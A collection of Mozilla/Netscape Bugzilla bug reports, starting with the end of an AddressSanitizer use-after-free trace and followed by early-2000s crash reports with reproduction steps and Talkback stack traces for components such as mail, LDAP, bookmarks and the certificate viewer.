#16 0x7f7281ee0b5e in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8
#17 0x7f728314da3e in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#18 0x7f728314da3e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1108
#19 0x7f728314fb97 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1342:20
#20 0x7f72831337c9 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:390:5
#21 0x7f72831337c9 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:418
#22 0x7f7283131a83 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:635:16
#23 0x7f72831382de in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1110:9
#24 0x7f7285d5dd4f in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1169:7
#25 0x7f7288ad258c in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7054:21
#26 0x7f7288acd16a in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6847:7
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Maybe.h:316:32 in isSome
Shadow bytes around the buggy address:
0x0c0e80011b50: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0e80011b60: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd
0x0c0e80011b70: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
0x0c0e80011b80: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
0x0c0e80011b90: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0c0e80011ba0: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd[fd]
0x0c0e80011bb0: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
0x0c0e80011bc0: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0e80011bd0: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00
0x0c0e80011be0: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd
0x0c0e80011bf0: fd fd fd fd fd fd fa fa fa fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==25581==ABORTING
|
|
78,882 | 704,558 |
it is not possible to add a new link to the personaltoolbar.
|
|
79,634 | 711,802 |
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9+) Gecko/20010507
BuildID: 2001050820
Reproducible: Always
Steps to Reproduce:
1. Open bookmark manager.
2. Click on a bookmark / folder.
3. Click once again on the bookmark / folder to show the renaming box.
4. Close the bookmark manager while the renaming box is still active.
Actual Results: Crash. Windows error message: "MOZILLA caused an invalid page
fault in module APPSHELL.DLL at 017f:600a1a9f."
Expected Results: Rename is applied/discarded and the bookmark manager closed
peacefully.
|
|
80,060 | 715,372 |
Netscape 6.5/2001050914 build
The immediate following Directory Server in LDAP Directory Server dialog server
listing got deleted instead of the selected server. If no following one, then
the previous server got deleted.
This problem might relate to bug 80038:
Probably that's why the last one left in the LDAP Directory Server dialog can
never be deleted
|
|
85,225 | 769,379 |
Early M091 topcrash report
Stack Trace:
nsMsgStatusFeedback::OnStateChange
[d:\builds\seamonkey\mozilla\mailnews\base\src\nsMsgStatusFeedback.cpp line
131]
nsDocLoaderImpl::FireOnStateChange
[d:\builds\seamonkey\mozilla\uriloader\base\nsDocLoader.cpp line 1096]
nsDocLoaderImpl::doStopDocumentLoad
[d:\builds\seamonkey\mozilla\uriloader\base\nsDocLoader.cpp line 736]
nsDocLoaderImpl::DocLoaderIsEmpty
[d:\builds\seamonkey\mozilla\uriloader\base\nsDocLoader.cpp line 633]
nsDocLoaderImpl::OnStopRequest
[d:\builds\seamonkey\mozilla\uriloader\base\nsDocLoader.cpp line 564]
nsLoadGroup::RemoveRequest
[d:\builds\seamonkey\mozilla\netwerk\base\src\nsLoadGroup.cpp line 517]
imgRequestProxy::OnStopRequest
[d:\builds\seamonkey\mozilla\modules\libpr0n\src\imgRequestProxy.cpp line 381]
imgRequest::OnStopRequest
[d:\builds\seamonkey\mozilla\modules\libpr0n\src\imgRequest.cpp line 639]
ProxyListener::OnStopRequest
[d:\builds\seamonkey\mozilla\modules\libpr0n\src\imgLoader.cpp line 373]
nsStreamListenerTee::OnStopRequest
[d:\builds\seamonkey\mozilla\netwerk\base\src\nsStreamListenerTee.cpp line 25]
nsHttpChannel::OnStopRequest
[d:\builds\seamonkey\mozilla\netwerk\protocol\http\src\nsHttpChannel.cpp line
2068]
nsOnStopRequestEvent::HandleEvent
[d:\builds\seamonkey\mozilla\netwerk\base\src\nsRequestObserverProxy.cpp line
159]
PL_HandleEvent [d:\builds\seamonkey\mozilla\xpcom\threads\plevent.c
line 591]
PL_ProcessPendingEvents
[d:\builds\seamonkey\mozilla\xpcom\threads\plevent.c line 524]
_md_EventReceiverProc
[d:\builds\seamonkey\mozilla\xpcom\threads\plevent.c line 1072]
KERNEL32.DLL + 0x24407 (0xbff94407)
0x00688b5e
Source File :
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/mailnews/base/src/nsMsgStatu
sFeedback.cpp line : 131
(31565628) Comments: Clicked on the messenger icon in the browser window.
Note many text aren't displayed in the GUI (menu items
(31554279) Comments: I was trying to start the message center
(31529427) Comments: Loading the e-mail part of mozillaI had just applied
the modern theme and could not see any options for mail+news preferences in the
preferences window. The controls were (radio buttons etc..) there but the text
was missing.
(31517482) Comments: I tried opening the mail-client by clicking on the
icon two times
(31513972) Comments: Started Mozilla as Administrator on Win2000 wit 'run
as....'some entries of the menues did not appear....clickung around resulted in
the access violation
(31510635) Comments: Tried to Configure E-Mail. E-Mail is already
configured in Netscape 6.01 and I use a different Profile with Mozilla
(31483197) Comments: Opened Mozilla Mail and News for the second time
(31483126) Comments: I opened Mozilla Mail and News for the very first time
(31477520) Comments: Started up mail client
(31468819) Comments: Visited the Mozilla 0.9.1 milestone release site
|
|
85,451 | 771,658 |
Talkback data form M091 shows multiple users crashing while viewing a site's
certificate.
(31479166) URL: www.excite.fr
(31479166) Comments: I cheked the security info on a site. The crash arrive
when I checked the "Signature algorithme"
(31476869) Comments: Trying to view the Subject's Public Key algorithm on
the Details page of the View Certificate. The certificate is located at
http://www.engineerscard.com
(31476630) Comments: Viewing the subject of a SSL certificate. This
specific certificate can be found at http://www.engineerscard.com. Click on the
link to login. View the page info
(31476187) Comments: I was viewing the properties of a SSL Certificate on a
secure site.
(31467249) Comments: In certificate view
(31466860) Comments: Clicked on something in certificate view
Stack Trace:
nsTreeBoxObject::GetIndexOfItem
[d:\builds\seamonkey\mozilla\layout\xul\base\src\nsTreeBoxObject.cpp line 146]
nsXULElement::RemoveChildAt
[d:\builds\seamonkey\mozilla\content\xul\content\src\nsXULElement.cpp line
2749]
nsXULElement::RemoveChild
[d:\builds\seamonkey\mozilla\content\xul\content\src\nsXULElement.cpp line
1204]
XPTC_InvokeByIndex
[d:\builds\seamonkey\mozilla\xpcom\reflect\xptcall\src\md\win32\xptcinvoke.cpp
line 139]
XPCWrappedNative::CallMethod
[d:\builds\seamonkey\mozilla\js\src\xpconnect\src\xpcwrappednative.cpp line
1837]
XPC_WN_CallMethod
[d:\builds\seamonkey\mozilla\js\src\xpconnect\src\xpcwrappednativejsops.cpp
line 1242]
js_Invoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
809]
js_Interpret [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
2703]
js_Invoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
825]
js_InternalInvoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c
line 897]
JS_CallFunctionValue [d:\builds\seamonkey\mozilla\js\src\jsapi.c
line 3322]
nsJSContext::CallEventHandler
[d:\builds\seamonkey\mozilla\dom\src\base\nsJSEnvironment.cpp line 937]
nsJSEventListener::HandleEvent
[d:\builds\seamonkey\mozilla\dom\src\events\nsJSEventListener.cpp line 140]
nsEventListenerManager::HandleEventSubType
[d:\builds\seamonkey\mozilla\content\events\src\nsEventListenerManager.cpp line
1120]
nsEventListenerManager::HandleEvent
[d:\builds\seamonkey\mozilla\content\events\src\nsEventListenerManager.cpp line
1721]
nsXULElement::HandleDOMEvent
[d:\builds\seamonkey\mozilla\content\xul\content\src\nsXULElement.cpp line
3631]
nsOutlinerSelection::FireOnSelectHandler
[d:\builds\seamonkey\mozilla\layout\xul\base\src\outliner\src\nsOutlinerSelectio
n.cpp
line 711]
nsOutlinerSelection::Select
[d:\builds\seamonkey\mozilla\layout\xul\base\src\outliner\src\nsOutlinerSelectio
n.cpp
line 355]
XPTC_InvokeByIndex
[d:\builds\seamonkey\mozilla\xpcom\reflect\xptcall\src\md\win32\xptcinvoke.cpp
line 139]
XPCWrappedNative::CallMethod
[d:\builds\seamonkey\mozilla\js\src\xpconnect\src\xpcwrappednative.cpp line
1837]
XPC_WN_CallMethod
[d:\builds\seamonkey\mozilla\js\src\xpconnect\src\xpcwrappednativejsops.cpp
line 1242]
js_Invoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
809]
js_Interpret [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
2703]
js_Invoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
825]
js_InternalInvoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c
line 897]
JS_CallFunctionValue [d:\builds\seamonkey\mozilla\js\src\jsapi.c
line 3322]
nsJSContext::CallEventHandler
[d:\builds\seamonkey\mozilla\dom\src\base\nsJSEnvironment.cpp line 937]
nsJSEventListener::HandleEvent
[d:\builds\seamonkey\mozilla\dom\src\events\nsJSEventListener.cpp line 140]
nsXBLPrototypeHandler::ExecuteHandler
[d:\builds\seamonkey\mozilla\content\xbl\src\nsXBLPrototypeHandler.cpp line
430]
DoMouse
[d:\builds\seamonkey\mozilla\content\xbl\src\nsXBLDragHandler.cpp
line 99]
nsXBLMouseHandler::MouseDown
[d:\builds\seamonkey\mozilla\content\xbl\src\nsXBLMouseHandler.cpp line 108]
nsEventListenerManager::HandleEvent
[d:\builds\seamonkey\mozilla\content\events\src\nsEventListenerManager.cpp line
1207]
nsXULElement::HandleDOMEvent
[d:\builds\seamonkey\mozilla\content\xul\content\src\nsXULElement.cpp line
3631]
PresShell::HandleEventInternal
[d:\builds\seamonkey\mozilla\layout\html\base\src\nsPresShell.cpp line 5519]
PresShell::HandleEvent
[d:\builds\seamonkey\mozilla\layout\html\base\src\nsPresShell.cpp line 5441]
nsView::HandleEvent
[d:\builds\seamonkey\mozilla\view\src\nsView.cpp line
377]
nsView::HandleEvent
[d:\builds\seamonkey\mozilla\view\src\nsView.cpp line
350]
nsView::HandleEvent
[d:\builds\seamonkey\mozilla\view\src\nsView.cpp line
350]
nsViewManager::DispatchEvent
[d:\builds\seamonkey\mozilla\view\src\nsViewManager.cpp line 2051]
HandleEvent [d:\builds\seamonkey\mozilla\view\src\nsView.cpp line
68]
nsWindow::DispatchEvent
[d:\builds\seamonkey\mozilla\widget\src\windows\nsWindow.cpp line 716]
nsWindow::DispatchWindowEvent
[d:\builds\seamonkey\mozilla\widget\src\windows\nsWindow.cpp line 733]
nsWindow::DispatchMouseEvent
[d:\builds\seamonkey\mozilla\widget\src\windows\nsWindow.cpp line 4197]
ChildWindow::DispatchMouseEvent
[d:\builds\seamonkey\mozilla\widget\src\windows\nsWindow.cpp line 4442]
nsWindow::ProcessMessage
[d:\builds\seamonkey\mozilla\widget\src\windows\nsWindow.cpp line 3196]
nsWindow::WindowProc
[d:\builds\seamonkey\mozilla\widget\src\windows\nsWindow.cpp line 980]
USER32.DLL + 0x2e98 (0x77e02e98)
USER32.DLL + 0x30e0 (0x77e030e0)
USER32.DLL + 0x5824 (0x77e05824)
nsWebShellWindow::ShowModal
[d:\builds\seamonkey\mozilla\xpfe\appshell\src\nsWebShellWindow.cpp line 1085]
nsContentTreeOwner::ShowAsModal
[d:\builds\seamonkey\mozilla\xpfe\appshell\src\nsContentTreeOwner.cpp line 393]
nsWindowWatcher::OpenWindowJS
[d:\builds\seamonkey\mozilla\embedding\components\windowwatcher\src\nsWindowWatc
her.cpp
line 701]
nsWindowWatcher::OpenWindow
[d:\builds\seamonkey\mozilla\embedding\components\windowwatcher\src\nsWindowWatc
her.cpp
line 438]
nsNSSDialogHelper::openDialog
[d:\builds\seamonkey\mozilla\security\manager\pki\src\nsNSSDialogs.cpp line 99]
nsNSSDialogs::ViewCert
[d:\builds\seamonkey\mozilla\security\manager\pki\src\nsNSSDialogs.cpp line
746]
nsNSSCertificate::View
[d:\builds\seamonkey\mozilla\security\manager\ssl\src\nsNSSCertificate.cpp line
1677]
XPTC_InvokeByIndex
[d:\builds\seamonkey\mozilla\xpcom\reflect\xptcall\src\md\win32\xptcinvoke.cpp
line 139]
XPCWrappedNative::CallMethod
[d:\builds\seamonkey\mozilla\js\src\xpconnect\src\xpcwrappednative.cpp line
1837]
XPC_WN_CallMethod
[d:\builds\seamonkey\mozilla\js\src\xpconnect\src\xpcwrappednativejsops.cpp
line 1242]
js_Invoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
809]
js_Interpret [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
2703]
js_Invoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
825]
js_Interpret [d:\builds\seamonkey\mozilla\js\src\jsinterp.c line
2703]
js_Invoke [d:\builds\seamonkey\mozilla\js\src\jsinterp.c li
|
|
85,972 | 776,791 |
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.1+) Gecko/20010612
BuildID: 2001061204
After klicking on some links on this page necko stops sending http requests to
my proxy (the proxy is naviscope from www.naviscope.com)
Reproducible: Always
Steps to Reproduce:
1. wait until the page has loaded
2. klick on wonderwall (bottom left)
3. klick on forum (bottom right)
4. klick on "launch furum" or "start forum"
5. klick on some links in the forum
Actual Results: No http request is send to the proxy from that point on
Expected Results: The page should load within 100ms - the page data can be
retrieved with a download tool withing 54ms
I've setup a proxy (naviscope - free download at www.naviscope.com)
I've tried with http/1.1 and http/1.0 with and without cache
I've reprodiced the lockup 5 times
I've used chatzilla in 4 of 5 times while trying this
I need to restart mozilla after it.
Sometimes I can load other pages (in the same window) but not for long
|
|
86,370 | 781,131 |
I have to define two SMTP-Servers. Both are using the same
Server-Address, but different users.
One of the servers (the second added) is displayed as a
blank entry in the list (by selecting/using it as SMTP-Server
and sending a message through (I hope so, I can't see anywhere
where to the msg is sent) produces an error "{mp002-rz3} Sender
address does not belong to logged in user") the first added
server works correctly.
|
|
86,885 | 786,708 |
From Bugzilla Helper:
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
BuildID:
I am embedding gecko under Windows. In nsHTMLDocument.cpp,
nsHTMLDocument::GetCookie() makes the assumption that the cookie service works.
Unfortunately, the code added for revision 3.322 by [email protected] will
cause a crash if it doesn't.
Basically, a char* was not initialized to nsnull, but my proposed patch cleans
things up a little more.
Reproducible: Always
Steps to Reproduce:
1. If you have the cookie service, remove it from the components
2. Load any website that uses cookies
3. Crash will occur on nsCRT::free(cookie)
Expected Results: Do not assume cookie service can load. First truncate the
referenced aCookie, then attempt to retrieve the new one and assign/free only
if successful.
|
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70,730 | 619,905 |
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; 0.9) Gecko/20010301
BuildID: 2001030110
Trying to print this page crashes Mozilla (before anything gets printed).
Reproducible: Always
Steps to Reproduce:
1. Visit URL.
2. Print the page ("All").
Actual Results: Crash.
Expected Results: No crash, and the page printed.
Mozilla does not crash and prints ok if I print only the selection.
|
|
71,696 | 630,640 |
Assigning to Networking - IMAP. Please re-assign if incorrect.
Info provided by Mitch Green ([email protected]) via MacsBug, Apple System
Profiler, and Talkback reports
Overview: When quitting application after logging onto imap server on Netscape
6.01, application crashes.
Steps to Reproduce:
1. reboot computer
2. start Netscape 6
-- during N6 launch, Talkback started to dump a queued Talkback report.
-- by default, my Netscape 6 opens to the browser window displaying the
"about:blank" URL
3. select the "File | New Navigator Window" menu item.
-- second browser window opened to "about:blank" URL
-- I did not close the first window.
4. click the envelop in the lower left corner of the second browser window to
open Mail
-- I am configured for IMAP mail
5. PSM dialog asked for my password, I entered password.
-- Mail retrieved my list of message headers.
6. I used the "Command-Q" keyboard shortcut to Quit.
-- Got the MacsBug screen
|
|
71,850 | 632,524 |
tested with 3/13 builds on win32, linux and mac.
Sumamry: the radio buttons in a bugzilla query page are much larger than they
should be.
Steps to reproduce:
load http://bugzilla.mozilla.org/query.cgi and look at the radio buttons under
the comment box.
Results:
the radio buttom outline circles are too big
|
|
80,382 | 718,177 |
Win2K does not have this problem
Steps to Reproduce:
--------------------
RH Linux 7.1 2001051108
Edit->Preferences->Font->DPI
Change from 96 to anything(tested with 110)
Click <ok>
What Happens:
-------------
Mozilla crashes
|
|
80,406 | 718,530 |
If you do not have korean fonts installed in the system, when you try to change
fonts for any languages in preference dialog, Netscape will crash.
Steps of reproduce
1. OS does not have Korean fonts
2. Launch Netscape go to the above url - Korean characters are not displayed
correctly.
3. Open the Preferences dialog
4. Select fonts and select any languages other than Korean
For exmaple, Western
5. Try to change the font for Serif to anything else
Netscape will crash. Tested 2001-05-07 and 5-11 Win32 build.
I sent the talkback report, but I cannot retrieve it.
|
|
80,937 | 723,369 |
Pressing the right arrow key at the end of the text in a TEXTAREA sometimes
wraps the cursor around to the start of the text, but in most cases causes segfault.
Linux CVS on 20010515.
|
|
81,692 | 731,578 |
I crash when I (a) send a web page via email from Navigator *and* (b) backspace
in the addressing widget of the compose window.
Running 2001-05-17-04 (commercial) on WinNT.
I can reproduce this about 75% of the time. It seems that following a particular
order of steps is very important in reproducing this bug.
Steps to reproduce.
1. Launch MoJo.
2. Launch Mail (Tasks | Mail). Authenticate to email server when prompted. I'm
using IMAP.
3. Go back to Navigator. Browse to a site - say, http://www.mozilla.org/
4. Send the web page via email (File | Send Page ...).
5. *As soon as you see the cursor* in the addressing widget in the email compose
window, begin typing, and then - after you've typed about 5 characters - quickly
start hitting the backspace key (like you made a mistake in your typing and want
to correct it right away).
Note - I have configured email addressing to run against my LDAP server at work.
Expected result: The text you have typed in the addressing widget is deleted,
and the cursor backspaces.
Actual result: CRASH!!
Stack trace:
Trigger Type: Program Crash
Trigger Reason: Access violation
Thread ID: 203
Call Stack: (Signature = nsLDAPAutoCompleteSession::FinishAutoCompleteLookup
8ed50941)
nsLDAPAutoCompleteSession::FinishAutoCompleteLookup
[d:\builds\seamonkey\mozilla\xpfe\components\autocomplete\src\nsLDAPAutoComplete
Session.cpp, line 923]
nsLDAPAutoCompleteSession::OnLDAPSearchResult
[d:\builds\seamonkey\mozilla\xpfe\components\autocomplete\src\nsLDAPAutoComplete
Session.cpp, line 601]
nsLDAPAutoCompleteSession::OnLDAPMessage
[d:\builds\seamonkey\mozilla\xpfe\components\autocomplete\src\nsLDAPAutoComplete
Session.cpp, line 327]
Notes:
Seems to be crashing in LDAP code.
For more information, see Talkback incidents: 30630928 and 30631144 (identical
stack traces).
|
|
81,728 | 732,109 |
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9+) Gecko/20010517
BuildID: 2001051720
Reproducible: Always
Steps to Reproduce:
1. visit URL
2. click on "Fach- und Führungskräfte"
Actual Results: crash in ntdll!RtlTraceDatabaseEnumerate which is called by
gklayout!nsQueryReferent::operator=
Expected Results: no crash
|
|
82,195 | 736,910 |
With my Mac debug mozilla build from today, I crashed when I was quitting (having
only a mail 3 pane window open (if that is relevant)). I had read some e-mail,
deleted some messages, started to send a message and then canceled it. On Quit,
I crashed here:
nsCOMPtr_base::~nsCOMPtr_base()
nsMsgDatabase::CleanupCache()+000A0
nsMsgDBModule::Shutdown()+00024
nsMsgDBModule::~nsMsgDBModule()+0002C
nsMsgDBMOdule::Release()
nsDll::Shutdown()
nsFreeLibrary
nsFreeLibraryEnum
...
other possibly relevant info: IMAP, move to trash, nsmail-2
|
|
82,219 | 737,142 |
I'm not sure what component this falls under, but I have crashed a few times
today in mail just scrolling/clicking next in my inbox. Here is some talkback
info:
Incident ID 30775633
Trigger Time
2001-05-22 13:14:46
Email Address
[email protected]
User Comments
just opened up the mail app and was clicking down through my
message in my inbox. i think i hit my last message and
click the mouse one too many times and boom!
Build ID
2001052111
Product ID
Netscape6.50
Platform ID
Win32
Stack Trace
nsStringBundleService::getStringBundle
[d:\builds\seamonkey\mozilla\intl\strres\src\nsStringBundle.cpp, line 874]
nsStringBundleService::CreateBundle
[d:\builds\seamonkey\mozilla\intl\strres\src\nsStringBundle.cpp, line 940]
signed.dll + 0x12e3 (0x04fb12e3)
signed.dll + 0x114a (0x04fb114a)
signed.dll + 0x121f (0x04fb121f)
MimeMultipart_close_child
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimemult.cpp, line 432]
MimeMultipart_parse_line
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimemult.cpp, line 160]
convert_and_send_buffer
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimebuf.cpp, line 134]
mime_LineBuffer [d:\builds\seamonkey\mozilla\mailnews\mime\src\mimebuf.cpp, line
256]
MimeObject_parse_buffer
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimeobj.cpp, line 256]
MimeMessage_parse_line
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimemsg.cpp, line 214]
convert_and_send_buffer
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimebuf.cpp, line 134]
mime_LineBuffer [d:\builds\seamonkey\mozilla\mailnews\mime\src\mimebuf.cpp, line
256]
MimeObject_parse_buffer
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimeobj.cpp, line 256]
MimeMessage_parse_line
[d:\builds\seamonkey\mozilla\mailnews\mime\src\mimemsg.cpp, line 131]
nsInputStreamTee::Read
[d:\builds\seamonkey\mozilla\xpcom\io\nsInputStreamTee.cpp, line 123]
nsStreamConverter::OnDataAvailable
[d:\builds\seamonkey\mozilla\mailnews\mime\src\nsStreamConverter.cpp, line 890]
nsDocumentOpenInfo::OnDataAvailable
[d:\builds\seamonkey\mozilla\uriloader\base\nsURILoader.cpp, line 238]
nsStreamListenerTee::OnDataAvailable
[d:\builds\seamonkey\mozilla\netwerk\base\src\nsStreamListenerTee.cpp, line 57]
nsOnDataAvailableEvent0::HandleEvent
[d:\builds\seamonkey\mozilla\netwerk\base\src\nsAsyncStreamListener.cpp, line
416]
nsStreamListenerEvent0::HandlePLEvent
[d:\builds\seamonkey\mozilla\netwerk\base\src\nsAsyncStreamListener.cpp, line
107]
PL_HandleEvent [d:\builds\seamonkey\mozilla\xpcom\threads\plevent.c, line 591]
PL_ProcessPendingEvents [d:\builds\seamonkey\mozilla\xpcom\threads\plevent.c,
line 524]
_md_EventReceiverProc [d:\builds\seamonkey\mozilla\xpcom\threads\plevent.c, line
1072]
USER32.dll + 0x2a64c (0x77e9a64c)
|
|
82,355 | 738,741 |
Per Brian's filepicker landing just before the tree closure, I can no longer see
any files or directories using the filepicker.
Steps to reproduce:
1) Click File->Open File, and note that nothing appears in the default
directory. Also try clicking for Files of type: All files. Again nothing appears.
2) Right-click on any webpage or web object such as an image and select Save
As..., again nothing in the filepicker.
Marking as a critical since you cannot open a local file using the dialog, you
must go through the URL Bar.
|
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